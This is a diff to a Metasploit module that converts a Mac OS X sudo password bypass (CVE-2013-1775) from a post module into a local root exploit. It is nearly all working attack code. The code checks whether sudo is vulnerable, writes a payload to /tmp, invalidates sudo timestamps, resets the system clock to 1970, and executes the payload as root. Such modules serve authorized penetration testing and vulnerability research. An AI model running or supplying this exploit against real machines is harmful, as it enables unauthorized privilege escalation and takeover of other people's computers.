diff --git a/modules/post/osx/manage/sudo_password_bypass.rb b/modules/post/osx/manage/sudo_password_bypass.rb index 3903f2a4cc..677acd52a6 100644 --- a/modules/post/osx/manage/sudo_password_bypass.rb +++ b/modules/post/osx/manage/sudo_password_bypass.rb @@ -7,65 +7,115 @@ ## require 'shellwords' -class Metasploit3 < Msf::Post +class Metasploit3 < Msf::Exploit::Local + include Msf::Post::Common + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + SYSTEMSETUP_PATH = "/usr/sbin/systemsetup" + SUDOER_GROUP = "admin" + VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']] # saved clock config attr_accessor :time, :date, :networked, :zone, :network_server - include Msf::Post::Common - include Msf::Post::File - include Msf::Auxiliary::Report - def initialize(info={}) - super( update_info( info, + super(update_info(info, 'Name' => 'Mac OS 10.8-10.8.2 Sudo Password Bypass', 'Description' => %q{ - Executes a command with root permissions on versions of OSX with + Gains a session with root permissions on versions of OS X with sudo binary vulnerable to CVE-2013-1775. Works on Mac OS 10.8-10.8.2, and possibly lower versions. If your session belongs to a user with Administrative Privileges - (the user is in the sudoers file) and the user has ever run the - "sudo" command, it is possible to become the super user by running - `sudo -k` and then resetting the system clock to 01-01-1970. + (the user is in the sudoers file and is in the "admin group"), and the + user has ever run the "sudo" command, it is possible to become the super + user by running `sudo -k` and then resetting the system clock to 01-01-1970. - Fails silently if the user is not an admin, or if the user has never + Fails silently if the user is not an admin or if the user has never ran the sudo command. - - Note: CMD must be the /full/path to the executable. }, 'License' => MSF_LICENSE, 'Author' => [ 'joev '], 'Platform' => [ 'osx' ], 'SessionTypes' => [ 'shell', 'meterpreter'], - 'References' => [ - ['CVE', '2013-1775'] - ] + 'References' => [['CVE', '2013-1775']], + 'Platform' => 'osx', + 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ], + 'Targets' => [ + [ + 'Mac OS X x86 (Native Payload)', { + 'Platform' => 'osx', + 'Arch' => ARCH_X86 + } + ], [ + 'Mac OS X x64 (Native Payload)', { + 'Platform' => 'osx', + 'Arch' => ARCH_X64 + } + ], [ + 'CMD', { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultOptions' => { "PrependFork" => true }, + 'DefaultTarget' => 0 )) - register_options([ - OptString.new('CMD', [true, 'The command to run as root', '/usr/bin/whoami']) - ]) end - def run - groups = cmd_exec("groups `whoami`") - systemsetup = SYSTEMSETUP_PATH - if not groups.include?('admin') - print_error "User is not in the 'admin' group, bailing." - return + # ensure target is vulnerable by checking sudo vn and checking + # user is in admin group. + def check + if cmd_exec("sudo -V") =~ /version\s+([^\s]*)\s*$/ + sudo_vn = $1 + sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i) + # check vn between 1.6.0 through 1.7.10p6 + # and 1.8.0 through 1.8.6p6 + if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES) + print_error "sudo version #{sudo_vn} not vulnerable." + return Exploit::CheckCode::Safe + end + else + print_error "sudo not detected on the system." + return Exploit::CheckCode::Safe + end + + if not user_in_admin_group? + print_error "sudo version is vulnerable, but user is not in the "+ + "admin group (necessary to change the date)." + Exploit::CheckCode::Safe + end + # one root for you sir + Exploit::CheckCode::Vulnerable + end + + def exploit + if not user_in_admin_group? + fail_with(Exploit::Failure::NotFound, "User is not in the 'admin' group, bailing.") else # "remember" the current system time/date/network/zone print_good("User is an admin, continuing...") print_status("Saving system clock config...") - @time = cmd_exec("#{systemsetup} -gettime").match(/^time: (.*)$/i)[1] - @date = cmd_exec("#{systemsetup} -getdate").match(/^date: (.*)$/i)[1] - @networked = cmd_exec("#{systemsetup} -getusingnetworktime") =~ (/On$/) - @zone = cmd_exec("#{systemsetup} -gettimezone").match(/^time zone: (.*)$/i)[1] - @network_server = if @networked - cmd_exec("#{systemsetup} -getnetworktimeserver").match(/time server: (.*)$/i)[1] + + # drop the payload (unless CMD) + if using_native_target? + write_file(drop_path, generate_payload_exe) + register_files_for_cleanup(drop_path) + cmd_exec("chmod +x #{[drop_path].shelljoin}") + print_status("Payload dropped and registered for cleanup") end - run_exploit + + @time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1] + @date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1] + @networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/) + @zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1] + @network_server = if @networked + cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1] + end + run_sudo_cmd end end @@ -86,20 +136,60 @@ class Metasploit3 < Msf::Post super end - def run_exploit - sudo_cmd_raw = ['sudo', '-S', datastore['CMD']].join(' ') + private + + def run_sudo_cmd + sudo_cmd_raw = if using_native_target? + ['sudo', '-S', [drop_path].shelljoin].join(' ') + elsif using_cmd_target? + ['sudo', '-S', payload.encoded].join(' ') + end + + # to prevent the password prompt from destroying session sudo_cmd = 'echo "" | '+sudo_cmd_raw + cmd_exec( "sudo -k; \n"+ "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -setdate 01:01:1970"+ - " -settime 00:00 -settimezone GMT" + " -settimezone GMT -settime 00:00" ) - print_good "Running '#{sudo_cmd_raw}':" - output = cmd_exec(sudo_cmd) + + print_good "Running: " + print sudo_cmd + "\n" + output = cmd_exec(sudo_cmd, nil, 5) + session.shell_write("\x1a") # send ctrl-z :) + session.reset_ring_sequence if output =~ /incorrect password attempts\s*$/i - print_error "User has never run sudo, and is therefore not vulnerable. Bailing." - return + fail_with(Exploit::Failure::NotFound, + "User has never run sudo, and is therefore not vulnerable. Bailing.") end - puts output + print_good output end + + # helper methods for accessing datastore + def using_native_target?; target.name =~ /native/i; end + def using_cmd_target?; target.name =~ /cmd/i; end + def drop_path; '/tmp/joe.exe'; end + + # checks that the user is in OSX's admin group, necessary to change sys clock + def user_in_admin_group? + cmd_exec("groups `whoami`").split(/\s+/).include?(SUDOER_GROUP) + end + + # helper methods for dealing with sudo's vn num + def parse_vn(vn_str); vn_str.split(/[\.p]/).map(&:to_i); end + def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']]) + vn_parts = parse_vn(vn) + ranges.any? do |range| + min_parts = parse_vn(range[0]) + max_parts = parse_vn(range[1]) + vn_parts.all? do |part| + min = min_parts.shift + max = max_parts.shift + (min.nil? or (not part.nil? and part >= min)) and + (part.nil? or (not max.nil? and part <= max)) + end + end + end + end